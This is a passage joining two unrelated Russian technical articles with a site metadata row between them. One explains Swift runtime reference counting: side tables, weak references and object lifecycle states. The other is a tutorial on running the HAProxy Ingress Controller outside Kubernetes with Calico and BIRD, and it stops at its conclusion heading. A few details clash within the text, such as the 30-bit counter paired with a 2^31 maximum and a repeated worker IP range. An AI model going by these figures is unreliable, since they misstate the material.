Счетчик ссылок хранится внутри структуры HeapObject. HeapObject – это внутреннее представление объекта в рантайме. То есть каждый экземпляр класса в рантайме это экземпляр структуры с типом HeapObject. Посмотрим на примере класса CommitInfo, в котором хранится хэш коммита и идентификатор пользователя:
```
class CommitInfo {
let hash: Int
let userId: Int
init(hash: Int, userId: Int) {
self.hash = hash
self.userId = userId
}
}
let firstCommit = CommitInfo(hash: 0xffee, userId: 1)
```
В рантайме переменная firstCommit является указателем на экземпляр HeapObject. В памяти он выглядит так:
Внутреннее представление экземпляра CommitInfoКоротко пройдемся по значениям полей в HeapObject. Для удобства все значения указаны в 16-ричной системе счисления. В первом поле хранится указатель на структуру с метаданными объекта. В метаданных хранится указатель на метаданные базового класса, список свойств и методов, и еще несколько служебных полей. По сути – это описание внутренней структуры класса. Также указатель на метаданные, со времен Objective-C, называют еще и **isa pointer**.
Во втором поле лежит значение счетчика ссылок. А в последних двух полях сохранены значения свойств hash и userId объекта класса CommitInfo. Важно понимать, что в HeapObject только два первых поля являются обязательными. Остальные поля меняются в зависимости от структуры исходного класса. Мы обязательно рассмотрим HeapObject подробнее в одной из следующих статей.
А пока вернемся к счетчику ссылок и посмотрим на его значение – 0x3. Так как счетчик ссылок есть битовое поле, то нагляднее представить его в виде последовательности битов. И вот во что превращается 0x3:
Начальный вид счетчика ссылокНа схеме представлено двоичное значение 11, но дополненное нулями слева до полного 64-х битного поля. На схеме мы видим группы бит, которые интерпретируются совместно. Назначение битов **UseSlowRC**, **IsDeiniting**, **PureSwiftDeallocation** мы рассмотрим позже. А пока обратимся к группе **Unowned** и **Strong**. В них сохраняются значения соответствующих счетчиков. То есть большой счетчик ссылок разбит на маленькие счетчики конкретного типа.
Для получения количества unowned ссылок, нужно применить побитовую операцию "И" с маской **0xFFFFFFFE** над нашим битовым полем. А затем сдвинуть результат на один бит вправо. Зачем сдвигать вправо? Потому, что иначе мы получим значение вместе со значением флага PureSwiftDeallocation:
```
(0x3 & 0xFFFFFFFE) >> 1 = 1
```
Чтобы не перечислять каждый раз все 64 бита, мы будем использовать 16-ричное представление счетчика. И в данном случае счетчик **unowned** равен единице. Но ведь на объект ещё никто не ссылается по unowned ссылке? Для чего же тогда сразу сохранять единицу? Чтобы не инкрементировать в тот момент, когда появится настоящая unowned ссылка? Но ведь на объект за весь его жизненный цикл вообще может не быть unowned ссылок? И если они все таки появляются, то счетчик, ожидаемо, инкрементируется. Так зачем эта дополнительная единица? Ответ на этот вопрос мы получим позднее, когда в деталях познакомимся с жизненным циклом объекта. Пока же посмотрим на значение счетчика **strong** ссылок:
```
(0x3 & 0x7FFFFFFE00000000) >> 33 = 0
```
Для получения количества strong ссылок нужно применить маску **0x7FFFFFFE00000000**. А после этого выполнить сдвиг вправо на 33 бита. В результате видим, что количество strong ссылок равно нулю. Постойте, но мы ведь знаем, что если у объекта нулевой счетчик strong ссылок, то он будет деаллоцирован. На самом деле у объекта есть одна сильная ссылка, но физически она представлена нулем. А почему бы явно не записать единицу, как в случае с unowned счетчиком? Ответ на этот вопрос нам не удалось получить. Просто примем начальный ноль как данность.
А что насчет счетчика weak ссылок? С ним все немного сложнее. Как видно на схеме, ему не нашлось места в счетчике ссылок. А когда появляется первая weak ссылка на объект, создается side table, в которой уже есть место для хранения weak счетчика.
### Weak ссылки и side table
Side table – это внутреннее представление weak переменной. В side table сохраняется указатель на объект и количество strong, unowned и weak ссылок на него**.** Вдобавок в битовом поле, в котором уже лежит указатель на side table, выставляется два флага: **UseSlowRC** и **SideTableMark:**
* UseSlowRC – означает, что у объекта есть side table и все операции над счетчиками ссылок нужно проводить именно в ней. В HeapObject не осталось значений счетчиков ссылок, они переместились в side table.
* SideTableMark– смысл этого флага непонятен. Нам не удалось найти мест, где он проверяется.
После создания side table в счетчик ссылок внутри HeapObject записывается указатель на нее.А перед этим указатель сдвигается на 3 бита вправо. Если side table лежит по адресу **0x108B8E290**, то в битовое поле адрес будет сохранен так:
```
0x108B8E290 >> 3 = 0x21171C52
```
Здесь также битовое поле представлено в шестнадцатеричном виде. Следом выставляется флаг UseSlowRC:
```
0x21171C52 | (1 << 63) = 0x8000000021171C52
```
И в последнюю очередь флаг SideTableMark
```
0x8000000021171C52 | (1 << 62) = 0xC000000021171C52
```
Значение 0xC000000021171C52 записывается во второе поле HeapObject, вместо старого счетчика ссылок:
Внутреннее представление экземпляра класса CommitInfoПроверим, что все сохранилось корректно. Сначала получим адрес side table при помощи операции И с маской **Ox3FFFFFFFFFFFFFFF и** смещения на три бита влево:
```
(0xC000000021171C52 & Ox3FFFFFFFFFFFFFFF) << 3 = 0x108B8E290
```
Действительно адрес 0x108B8E290 мы и сохранили в примере выше. Похожим образом получим значение флага UseSlowRC.
```
(0xC000000021171C52 & 0x8000000000000000) >> 63 = 1
```
И значение флага SideTableMark
```
(0xC000000021171C52 & 0x4000000000000000) >> 62 = 1
```
Оба флага сохранены правильно. Если перевести 0xC000000021171C52 в двоичную систему, то получим такое битовое поле:
Счетчик ссылок с сохраненным указателем на Side table и флагами UseSlowRC и SideTableMarkТеперь посмотрим, как side table [выглядит](https://github.com/apple/swift/blob/c39901d7fb34debbaf51d225b01f2869cd0b101f/stdlib/public/SwiftShims/RefCount.h#L1310) в исходниках языка:
```
class HeapObjectSideTableEntry {
std::atomic object;
SideTableRefCounts refCounts;
}
```
В самом первом поле хранится указатель на объект, которому принадлежит эта side table. Следом лежит его счетчик ссылок, представленный структурой типа SideTableRefCounts. Внутри нее хранится битовое поле со счетчиками ссылок и флагами. Именно то битовое поле, которое до появления side table лежало внутри объекта. Но также внутри SideTableRefCounts есть отдельное поле и для хранения счетчика weak ссылок. И теперь у нас появляется возможность отслеживать weak ссылки на объект!
Side table работает в паре с классом [**WeakReference**](https://github.com/apple/swift/blob/9a5bb49067e21d33c73b32843dcc95f8a88d7a9d/stdlib/public/runtime/WeakReference.h#L156). По сути экземпляр класса **WeakReference** создается для каждой новой weak переменной. И взаимодействие со свойствами и методами объекта происходит через него. Класс WeakReference определен следующим образом:
```
class WeakReference {
union {
std::atomic nativeValue;
#if SWIFT\_OBJC\_INTEROP
id nonnativeValue;
#endif
};
}
```
В **nativeValue** сохраняется указатель на нативный объект. Нативным называется объект, структура которого известна рантайму Swift и он может жить без рантайма Objective-C. Соответственно в **nonnativeValue** сохраняется объект, который наследуется от NSObject и им управляет рантайм Objective-C. Так как это объединение, то в один момент может хранится только одно значение. Флаг SWIFT\_OBJC\_INTEROP указывает на то, нужна ли интероперабельность с Objective-C – то есть можно ли из Swift кода работать с объектами Objective-C. На всех платформах от Apple этот флаг активирован.
WeakReference хранит указатель на оригинальный объект. И для его получения вызывается функция [**swift\_weakLoadStrong**](https://github.com/apple/swift/blob/c39901d7fb34debbaf51d225b01f2869cd0b101f/stdlib/public/runtime/HeapObject.cpp#L909). Она принимает WeakReference единственным аргументом и возвращает указатель на HeapObject. Вызов swift\_weakLoadStrong также увеличивает на единицу количество strong ссылок. Эта дополнительная единица сохраняется до конца текущей области видимости weak переменной. В конце области видимости strong счетчик уменьшается на единицу. А когда объект уже деалоцирован, то вызов swift\_weakLoadStrong вернет null. Таким образом, в рантайме реализуется семантика слабых ссылок. Ведь экземпляр HeapObject физически еще присутствует в памяти. А WeakReference выступает в роли обертки и проверяет, не уничтожен ли еще объект с точки зрения рантайма.
### Жизненный цикл объекта
В алгоритме работы счетчика ссылок определено пять состояний, в которых объект находится на всем пути от создания до удаления из памяти. Можно провести параллель с жизненным циклом UIViewController. Он создается, отображает визуальные элементы, реагирует на вызовы от операционной системы и в конце деаллоцируется. Состояния объекта перечислены ниже:
* Live – объект создан и делает какие-то полезные вещи.
* Deiniting – объект находится в процессе деинициализации, то есть у него вызван метод deinit.
* Deinited – объект полность деинициализирован.
* Freed – выделенная память под объект освобождена, но side table еще существует.
* Dead – память занятая side table освобождается.
Объект живет пока на него есть strong ссылки. И хотя счетчик strong ссылок инициализируется нулем, считается, что на объект есть одна ссылка. Он ссылается сам на себя. Ведь действительно на него еще никто не сослался, но и умирать ему рано. Для изменения значения счетчика strong ссылок используются функции [**swift\_retain**](https://github.com/apple/swift/blob/c39901d7fb34debbaf51d225b01f2869cd0b101f/stdlib/public/runtime/HeapObject.cpp#L339) и [**swift\_release**](https://github.com/apple/swift/blob/c39901d7fb34debbaf51d225b01f2869cd0b101f/stdlib/public/runtime/HeapObject.cpp#L393). Функция swift\_retain инкрементирует, а swift\_release декрементирует значение счетчика. Компилятор генерирует вызовы этих функций в нужных местах.
Когда счетчик strong ссылок нулевой и вызван swift\_release, объект переходит в состояние **deiniting**. Если у объекта есть метод deinit, тогда он тоже вызывается. Также в битовом поле счетчика ссылок выставляется флаг isDeiniting. После этого объект считается деинициализированным. Но в состоянии Deiniting он будет находиться не долго. В зависимости от значений unowned и наличия side table состояние меняется на следующее:
* Если у объекта нет side table
+ Если количество unowned ссылок равно нулю, тогда объект сразу переходит в состояние dead.
+ А если unowned ссылки есть, тогда объект переходит в состояние deinited.
* Если у объекта есть side table
+ Если количество unowned ссылок равно нулю, тогда объект переходит в состояние freed.
+ А если unowned ссылки есть, тогда объект переходит в состояние deinited.
Если у объекта нет side table и в какой-то момент количество unowned ссылок на него станет равным нулю, тогда он из состояния deinited перейдет в состояние dead. В состоянии dead память под объект освобождается. Для наглядности лучше представить жизненный цикл объекта без side table в виде схемы:
Жизненный цикл объекта без Side tableА если при нулевой strong счетчике есть side table и дополнительные unowned ссылки, то объект переходит в состояние deinited. При этом счетчик unowned ссылок уменьшается на единицу. Мы помним, что в начале он инициализирован единицей. И это начальное значение нужно уменьшить. После этого unowned счетчик станет равным количеству внешних unowned ссылок на объект. В этот момент объект уже деинициализирован. В коде приложения не доступен, но физически присутствует в памяти. И занимаемая им память освобождается только после обнуления счетчика unowned ссылок.
Вызов функции [**swift\_unownedRetain**](https://github.com/apple/swift/blob/5d24d9750284baba55933be2f976c767396ab985/stdlib/public/runtime/HeapObject.cpp#L456) увеличивает счетчик unowned ссылок на единицу. Соответственно вызов [**swift\_unownedRelease**](https://github.com/apple/swift/blob/5d24d9750284baba55933be2f976c767396ab985/stdlib/public/runtime/HeapObject.cpp#L469) уменьшает счетчик на единицу. Обе функции принимают указатель на HeapObject. Когда на объект не осталось unowned ссылок и ему вызван swift\_unownedRelease, то он переходит в состояние freed. В этом состоянии память под объект уже освобождена.
Side table остается в памяти пока на объект есть weak ссылки. Ведь именно через side table происходит взаимодействие с weak переменными. А точнее через экземпляр WeakReference, в котором хранится указатель на side table. Класс WeakReference инициализируется вызовом функции [**swift\_weakInit**](https://github.com/apple/swift/blob/5d24d9750284baba55933be2f976c767396ab985/stdlib/public/runtime/HeapObject.cpp#L899). Она принимает указатель на пустой WeakReference и указатель на HeapObject. .
В состоянии freed любое обращение к weak переменной вернет nil. Как только счетчик weak ссылок обнулится, объект переходит в состояние dead. В этот момент очищается и side table. Надеемся, что схема упростит понимание:
Жизненный цикл объекта с Side tableМы познакомились с жизненным циклом и теперь вернемся к счетчику ссылок для знакомства с остальными флагами.
### Флаги в счетчике ссылок
Каждый флаг занимает один бит. И первый бит в счетчике ссылок – это флаг **pureSwiftDeallocation**. Для всех нативных объектов он равен единице. Если он равен нулю, тогда во время деинициализации для объекта вызывается Objective-C метод **objc\_destructInstance**. Он зачищает все associated objects и weak ссылки под управлением Objective-C рантайма. А следом вызывается функция [**swift\_deallocObject**](https://github.com/apple/swift/blob/c39901d7fb34debbaf51d225b01f2869cd0b101f/stdlib/public/runtime/HeapObject.cpp#L888). Именно в ней определяется, будет ли объект уничтожен сразу или же перейдет в состояние deinited.
В 32 бите расположен флаг **isDeiniting**. Он устанавливается в момент перехода в состояние deiniting. Причем флаг не сбрасывается при переходе в следующие состояния. Также значение флага isDeinitingпроверяется в момент получения указателя на объект из WeakReference. Если он установлен, то вернется null. Значит в клиентском коде при обращение к weak переменной, на которую не осталось сильных ссылок, вернется nil.
Осталось познакомиться с флагом **sideTableMark**. Он находится в 62 бите и устанавливается, когда у объекта появляется side table. Нигде в коде не нашлось проверки этого флага.
И в самом последнем 63-м бите находится флаг **slowReleaseCounter**. Этот флаг устанавливается для immortal и объектов с side table. Immortal объекты никогда не деаллоцируется. Еще он устанавливается, когда счетчик сильных ссылок переполняется. Что же происходит в этом случае? Если у объекта нет side table и он не immortal, тогда счетчик просто станет равен нулю. Учитывая, что счетчик strong ссылок занимает 30 бит, тогда у нас может быть максимум 2 147 483 647 сильных ссылок на объект. На схеме ниже отображены все флаги в битовом поле:
Вернемся к вопросу из начала статьи о том, почему счетчик unowned ссылок инициализируется единицей? Единица означает, что на объект еще можно создавать новые unowned ссылки. И как только счетчик станет нулевым, то при попытке инкрементировать его выполнение программы аварийно завершится.
### Заключение
Рантайм Swift тесно работает с рантаймом Objective-C. И было бы здорово разобраться как считаются ссылки для объектов с базовым классом NSObject или NSProxy. Но это тема для отдельной статьи. А в этой мы начали с того, что такое битовое поле и побитовые операции. Затем посмотрели на представление объекта в рантами и увидели, что в начале у объекта есть одна unowned ссылка. И что в счетчике strong ссылок записан ноль, но интерпретируется он как единица. Узнали, что такое side table и как она связана с weak ссылками. Именно благодаря side table при обращении к деинициализированной weak переменной мы получаем nil. Посмотрели на различные флаги, которые лежат в битовом поле счетчика ссылок.
Затем познакомились с жизненным циклом объекта. Объект может быть в одном из пяти состояний: live, deiniting, deinited, freed, dead. Посмотрели на схему переходов между ними. Познакомились с некоторыми функциями в рантайме Swift. Это лишь малая часть из всего, что в нем есть. По рантайму вообще можно написать целую книгу!
Многое пришлось оставить за скобками, чтобы не усложнять повествование. Подсчет ссылок не просто реализовать. И то, что рассматривали мы – это уже вторая его реализация. Глядишь, в будущем его тоже захотят переделать.
Эта статья рассматривается нами как отправная точка для дальнейшего погружения во внутренний мир рантайма Swift. Вы можете клонировать репозиторий языка, собрать компилятор по этой [доке](https://github.com/apple/swift/blob/main/docs/HowToGuides/GettingStarted.md) и начать исследовать. Это очень интересно, развивает кругозор и прокачивает технические навыки. У сообщества есть приветливый [форум](https://forums.swift.org/). И, быть может, вы сделаете Swift еще лучше, предлагая свои улучшения членам комьюнити языка.
В будущем мы выпустим серию статей про другие части Swift, например, про внутреннее представление объекта и диспетчеризацию. При написании статьи мы опирались на этот [файл](https://github.com/apple/swift/blob/swift-5.5-RELEASE/stdlib/public/SwiftShims/RefCount.h) в репозитории Swift. В нем описаны все флаги и общий алгоритм. Также на официальном форуме языка есть интересная [ветка](https://forums.swift.org/t/discussion-new-refcount-representation/1832), в которой обсуждали реализацию счетчика ссылок. Спасибо за внимание! | https://habr.com/ru/post/592599/ | null | ru | null |
# Запускаем HAProxy Kubernetes Ingress Controller вне Kubernetes-кластера
> *Запускаем HAProxy Kubernetes Ingress Controller вне кластера для уменьшения сетевой задержки и числа хопов*
>
>
Содержание:
* [В чем проблема запуска внутри кластера](#1)
* [Kubernetes-кластер](#2)
* [Ingress Controller и BIRD](#3)
* [Calico и BGP-обмен](#4)
* [Добавляем Ingress](#5)
* [Заключение](#6)
* [От переводчиков](#7)
В чем проблем запуска внутри кластера
-------------------------------------
Обычно вы можете запустить HAProxy Kubernetes Ingress Controller как под внутри Kubernetes-кластера. Как под, он имеет доступ к другим подам, потому что они используют внутреннюю сеть Kubernetes-кластера. Это дает возможность управлять маршрутизацией и балансировать трафик к приложениям, запущенным в кластере. Но возникает проблема, как передать внешний трафик во внутренний Ingress Controller.
Как и другие поды, Ingress Controller существует внутри изолированной среды Kubernetes, поэтому клиенты не получат к нему доступ, пока его не пробросят с помощью Service. Когда вы создаете сервис типа *NodePort* или *LoadBalancer,* Kubernetes открывает доступ к поду из внешнего мира*.*
В облаках более распространен вариант LoadBalancer, потому что он говорит облачному провайдеру развернуть один из его облачных балансировщиков нагрузки (например, AWS Network Load Balancer) и поместить его перед Ingress Controller. В случае self hosted Kubernetes обычно используют NodePort и затем вручную устанавливают балансировщик нагрузки. Так что практически в каждом случае балансировщик нагрузки размещается перед вашим Ingress Controller, что означает наличие двойного проксирования, через которые должен пройти трафик для достижения приложений.
В обычной схеме внешний балансировщик нагрузки (Load Balancer) посылает трафик на один из воркеров, а затем Kubernetes передает его на узел, на котором запущен под с Ingress Controller:
Начиная с версии 1.5 HAProxy Ingress Controller, у вас есть возможность запустить его снаружи вашего Kubernetes-кластера, что избавляет от необходимости дополнительного балансировщика перед Ingress Controller. Это дает доступ к физической сети и позволяет достучаться до кластера внешним клиентам. Проблема в том, что теперь Ingress Controller не запущен как под и находится вне кластера. Поэтому ему нужен доступ к внутренней сети кластера каким-то другим способом.
Для решения этой проблемы мы установим [Calico](https://www.projectcalico.org/) в качестве сетевого плагина в Kubernetes и настроим маршрутизацию с помощью протокола BGP. В продакшне BGP будет работать на третьем уровне сети, но для демонстрации этого мы используем в качестве роутера [демона BIRD](https://bird.network.cz/), установленного на той же VM, что Ingress Controller.
Диаграмма поясняет схему, где Ingress Controller находится снаружи Kubernetes-кластера и использует BIRD для взаимодействия с сетью кластера:
Для самостоятельного повторения примеров загрузите [демо-проект из GitHub](https://github.com/haproxytechblog/ingress-controller-external-example). В нем используются VirtualBox и Vagrant для создания тестового окружения с 4 виртуальными машинами. Одна VM запускает Ingress Controller и BIRD, а 3 остальные формируют Kubernetes-кластер. Вызовите `vagrant up` из директории проекта для создания виртуальных машин.
Мы пошагово разберем, как запустить внешний HAProxy Kubernetes Ingress Controller и как установить Kubernetes-кластер с Calico.
### Kubernetes-кластер
В демо-проекте используются [Vagrant](https://www.vagrantup.com/) и [VirtualBox](https://www.virtualbox.org/) для создания виртуальных машин. 3 из них составляют Kubernetes-кластер:
* один мастер-узел, который управляет кластером
* два рабочих узла для запуска подов
Vagrant автоматизирует большую часть установки через запуск Bash-скрипта, который запускает необходимые команды для установки Kubernetes и Calico. Если вы задаетесь вопросом, зачем нам понадобилось устанавливать Calico, напомню, что Kubneretes — модульный фреймворк. Некоторые его компоненты можно заменить другими при условии, что они будут реализовывать нужный интерфейс. Сетевые плагины должны реализовывать [CNI](https://github.com/containernetworking/cni). Среди популярных вариантов Calico, Flannel, Cilium и Weave Net. BGP-пиринг в Calico делает его хорошим вариантом конкретно в нашем случае.
Чтобы посмотреть, как настраивается мастер-узел, посмотрите Bash-скрипт проекта setup\_kubernetes\_control\_plane.sh. Поверхностно этот процесс делится на такие этапы:
1. Установка Docker
2. Установка утилит `kubeadm` и `kubectl`
3. Вызов `kubeadm init` для для начальной установки Kubernetes-кластера
4. Копирование файл *kubeconfig* в домашнюю директорию пользователя, чтобы при подключении по SSH к этой виртуальной машине этот пользователь мог запускать `kubectl`-команды
5. Установка Calico в качестве сетевого плагина с включенным BGP
6. Установка утилиты `calicoctl`
7. Создание ConfigMap-объекта в Kubernetes *haproxy-kubernetes-ingress*, который требуется для Ingress Controller
Два рабочих узла инициализируются с помощью Bash-скрипта *setup\_kubernetes\_worker.sh.* Он выполняет следующие шаги:
1. Установка Docker
2. Установка `kubeadm` и `kubectl`
3. Вызов `kubeadm` join для присоединения к кластеру в качестве воркера
Особенно интересна та часть, в которой мы установим Calico на мастер. Скрипт сначала устанавливает оператор Calico, а затем создает Kubernetes-объект *Installation*, который включает BGP и назначает диапазон IP-адресов для сети:
```
apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
name: default
spec:
# Configures Calico networking.
calicoNetwork:
bgp: Enabled
# Note: The ipPools section cannot be modified post-install.
ipPools:
- blockSize: 26
cidr: 172.16.0.0/16
encapsulation: IPIP
natOutgoing: Enabled
nodeSelector: all()
```
После этого скрипт устанавливает `calicoctl` и использует его для создания *BGPConfiguration* и объекта *BGPPeer* в Kubernetes.
```
apiVersion: projectcalico.org/v3
kind: BGPConfiguration
metadata:
name: default
spec:
logSeverityScreen: Info
nodeToNodeMeshEnabled: true
asNumber: 65000
---
apiVersion: projectcalico.org/v3
kind: BGPPeer
metadata:
name: my-global-peer
spec:
peerIP: 192.168.50.21
asNumber: 65000
```
Объект *BGPConfiguration* устанавливает уровень логирования для BGP-коннекторов, включает режим full mesh network и назначает номер Autonomous System (AS) для Calico. Объект BGPPeer получает IP-адрес виртуальной машины, где находится Ingress Controller, где будет запущен BIRD, который установит номер AS для BIRD-маршрутизатора. Я выбрал номер AS 65000. Так Calico расшарит сетевые маршруты BIRD, чтобы их мог использовать Ingress Controller.
Ingress Controller и BIRD
-------------------------
В демо-проекте мы устанавливаем HAProxy Kubernetes Ingress Controller и BIRD на одну и ту же виртуальную машину. Эта VM существует вне Kubernetes-кластера, где BIRD получает IP-маршруты от Calico, и Ingress Controller использует их для передачи клиентского трафика на поды.
Vagrant вызывает Bash-скрипт `setup_ingress_controller.sh` для выполнения шагов:
1. Устанавливает HAProxy, при этом дизейблит сервис
2. Вызывает команду `setcap` для разрешения HAProxy слушать привилегированные порты 80 и 443
3. Загружает HAProxy Kubernetes Ingress Controller и копирует его в */usr/local/bin*
4. Настраивает Systemd для запуска Ingress Controller
5. Копирует в корень домашней директории пользователя файл *kubeconfig*, который необходим кластеру для отслеживания Ingress-объектов и смены сервисов
6. Устанавливает BIRD
Ingress Controller должен быть уже запущен, так как он настроен как сервис Systemd. Он выполняет команду:
```
/usr/local/bin/haproxy-ingress-controller \
--external \
--configmap=default/haproxy-kubernetes-ingress \
--program=/usr/sbin/haproxy \
--disable-ipv6 \
--ipv4-bind-address=0.0.0.0 \
--http-bind-port=80
```
Аргумент `--external` позволяет Ingress Controller запуститься вне Kubernetes. Также он может общаться с кластером и конфигурировать HAProxy, потому что у него есть файл *kubeconfig* в */root/.kube/config.* Однако запросы будут падать, пока мы не сделаем сеть 172.16.0.0/16 доступной.
Calico может взаимодействовать с BIRD, так что она может посылать информацию о внутренней сети. BIRD заполняет таблицу маршрутизации на сервере, где он запущен, что делает IP-адреса подов доступными для Ingress Controller. Перед тем как показать, как настроить BIRD для получения маршрутов от Calico, будет полезно увидеть, как назначаются маршруты со стороны Kubernetes.
Calico и BGP-обмен
------------------
Чтобы дать вам представление о том, как это работает, давайте познакомимся с демонстрационной средой. Виртуальные машины получили следующие IP-адреса в сети 192.168.50.0/24:
* узел Ingress Controller = 192.168.50.21
* мастер-узел = 192.168.50.22
* worker 1 = 192.168.50.23
* worker 2 = 192.168.50.24
Сначала подключимся по SSH к мастер-узлу Kubernetes, используя команду vagrant ssh:
```
$ vagrant ssh controlplane
```
Вызовем `kubectl get nodes`, чтобы увидеть, что все узлы подняты и готовы:
```
$ kubectl get nodes
NAME STATUS ROLES AGE VERSION
controlplane Ready control-plane,master 4h7m v1.21.1
worker1 Ready 4h2m v1.21.1
worker2 Ready 3h58m v1.21.1
```
Вызовем `calicoctl node status` для проверки, какая из VM делится маршрутом через BGP:
```
$ sudo calicoctl node status
Calico process is running.
IPv4 BGP status
+---------------+-------------------+-------+----------+--------------------------------+
| PEER ADDRESS | PEER TYPE | STATE | SINCE | INFO |
+---------------+-------------------+-------+----------+--------------------------------+
| 192.168.50.21 | global | start | 00:10:03 | Active Socket: Connection |
| | | | | refused |
| 192.168.50.23 | node-to-node mesh | up | 00:16:11 | Established |
| 192.168.50.24 | node-to-node mesh | up | 00:20:08 | Established |
+---------------+-------------------+-------+----------+--------------------------------+
```
Последние две строки с адресами 192.168.50.23 и 192.168.50.24 показывают, что рабочие узлы установили BGP-подключение и совместно используют маршруты. Однако на первой строке с адресом 192.168.50.21 мы видим, что подключение виртуальной машины Ingress Controller не выполнено, потому что мы пока не настроили BIRD.
Calico назначила каждому из воркеров Kubernetes-кластера IP адреса из подмножества более крупной сети 172.16.0.0/16, которая работает поверх сети 192.168.50.0/24. Вы можете вызвать `kubectl describe blockaffinities`, чтобы увидеть назначенные сетевые диапазоны.
```
$ kubectl describe blockaffinities | grep -E "Name:|Cidr:"
Name: controlplane-172-16-49-64-26
Cidr: 172.16.49.64/26
Name: worker1-172-16-171-64-26
Cidr: 172.16.171.64/26
Name: worker2-172-16-189-64-26
Cidr: 172.16.189.64/26
```
Здесь мы видим, что worker 1 получил диапазон 172.16.171.64/26, а worker 2 — 172.16.171.64/26. Нам нужно отправить эту информацию в BIRD, чтобы:
* запрос клиента ушел в worker 1, если включает IP в диапазоне 172.16.171.64/26
* запрос клиента ушел в worker 2, если включает IP в диапазоне 172.16.189.64/26
Мастер Kubernetes запускает поды на один из этих узлов.
Чтобы настроить конфигурацию BIRD, подключитесь по SSH к той виртуальной машине, на которой находится Ingress Controller.
```
$ vagrant ssh ingress
```
Откройте файл */etc/bird/bird.conf* и добавьте `protocol bgp` для каждого воркера. Обратите внимание, что секция `import filter` говорит BIRD, что ему следует принимать только те IP-диапазоны, которые назначены этому узлу, а все остальные блокировать:
```
router id 192.168.50.21;
log syslog all;
# мастер-узел
protocol bgp {
local 192.168.50.21 as 65000;
neighbor 192.168.50.22 as 65000;
direct;
import filter {
if ( net ~ [ 172.16.0.0/16{26,26} ] ) then accept;
};
export none;
}
# worker1
protocol bgp {
local 192.168.50.21 as 65000;
neighbor 192.168.50.23 as 65000;
direct;
import filter {
if ( net ~ [ 172.16.0.0/16{26,26} ] ) then accept;
};
export none;
}
# worker2
protocol bgp {
local 192.168.50.21 as 65000;
neighbor 192.168.50.24 as 65000;
direct;
import filter {
if ( net ~ [ 172.16.0.0/16{26,26} ] ) then accept;
};
export none;
}
protocol kernel {
scan time 60;
#import none;
export all; # insert routes into the kernel routing table
}
protocol device {
scan time 60;
}
```
Перезапустите BIRD, чтобы принять изменения:
```
$ sudo systemctl restart bird
```
Давайте убедимся, что все работает. Вызовите `birdc show protocols` чтобы увидеть со стороны BIRD, что BGP-обмен установлен:
```
$ sudo birdc show protocols
BIRD 1.6.8 ready.
name proto table state since info
bgp1 BGP master up 23:18:17 Established
bgp2 BGP master up 23:18:17 Established
bgp3 BGP master up 23:18:59 Established
kernel1 Kernel master up 23:18:15
device1 Device master up 23:18:15
```
Вы также можете вызвать `birdc show route protocol` для проверки соответствия сетей IP-адресам виртуальных машин и сети подов:
```
$ sudo birdc show route protocol bgp2
BIRD 1.6.8 ready.
172.16.171.64/26 via 192.168.50.23 on enp0s8 [bgp2 23:18:18] * (100) [i]
$ sudo birdc show route protocol bgp3
BIRD 1.6.8 ready.
172.16.189.64/26 via 192.168.50.24 on enp0s8 [bgp3 23:19:00] * (100) [i]
```
Также вы можете проверить таблицу маршрутизации сервера, чтобы убедиться, что туда добавились новые маршруты.
```
$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default _gateway 0.0.0.0 UG 100 0 0 enp0s3
10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s3
_gateway 0.0.0.0 255.255.255.255 UH 100 0 0 enp0s3
172.16.49.64 192.168.50.22 255.255.255.192 UG 0 0 0 enp0s8
172.16.171.64 192.168.50.23 255.255.255.192 UG 0 0 0 enp0s8
172.16.189.64 192.168.50.24 255.255.255.192 UG 0 0 0 enp0s8
192.168.50.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s8
```
Если вы вернетесь к виртуальной машине мастера и запустите `calicoctl node status`, вы увидите, что Calico уже зафиксировала установку BGP-обмена с виртуальной машиной Ingress Controller, 192.168.50.21:
```
$ sudo calicoctl node status
Calico process is running.
IPv4 BGP status
+---------------+-------------------+-------+----------+-------------+
| PEER ADDRESS | PEER TYPE | STATE | SINCE | INFO |
+---------------+-------------------+-------+----------+-------------+
| 192.168.50.21 | global | up | 00:32:13 | Established |
| 192.168.50.23 | node-to-node mesh | up | 00:16:12 | Established |
| 192.168.50.24 | node-to-node mesh | up | 00:20:09 | Established |
+---------------+-------------------+-------+----------+-------------+
```
Добавляем Ingress
-----------------
Благодаря обмену BGP-маршрутами между Kubernetes-кластером и сервером Ingress Controller мы готовы приступить к работе. Давайте добавим объект Ingress, чтобы убедиться, что все работает. Следующий YAML раскладывает 5 экземпляров приложения и создает Ingress-объект:
```
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
run: app
name: app
spec:
replicas: 5
selector:
matchLabels:
run: app
template:
metadata:
labels:
run: app
spec:
containers:
- name: app
image: jmalloc/echo-server
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
labels:
run: app
name: app
spec:
selector:
run: app
ports:
- name: port-1
port: 80
protocol: TCP
targetPort: 8080
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: test-ingress
namespace: default
spec:
rules:
- host: test.local
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: app
port:
number: 80
```
*Ingress*-объект настраивает Ingress Controller так, чтобы отправлять любой запрос от test.local к приложению, которое вы только что развернули. Вам понадобится обновить файл /etc/hosts на вашем хосте для сопоставления test.local с IP-адресом виртуальной машины Ingress Controller, 192.168.50.21.
Разложите объекты через `kubectl`:
```
$ kubectl apply -f app.yaml
```
Откройте *test.local* в вашем браузере, и вас встретит приложение, которое просто напечатает подробности вашего HTTP-запроса. Поздравляю! Вы запустили HAProxy Kubernetes Ingress Controller снаружи Kubernetes-кластера! Вам больше не нужно использовать двойное проксирование.
Чтобы увидеть созданный файл *harpoxy.cfg*, откройте */tmp/haproxy-ingress/etc/haproxy.cfg*. Он сгенерировал `backend` с именем default-app-port-1, который содержит строку `server` для каждого из запущенных в приложении подов. Конечно, IP-адреса в каждой строке `server` теперь доступны. Вы можете масштабировать приложение в большую или меньшую сторону, и Ingress Controller автоматически настроит соответствующую конфигурацию.
```
backend default-app-port-1
mode http
balance roundrobin
option forwardfor
server SRV_1 172.16.171.67:8080 check weight 128
server SRV_2 172.16.171.68:8080 check weight 128
server SRV_3 172.16.189.68:8080 check weight 128
server SRV_4 172.16.189.69:8080 check weight 128
server SRV_5 172.16.189.70:8080 check weight 128
```
Заключение
----------
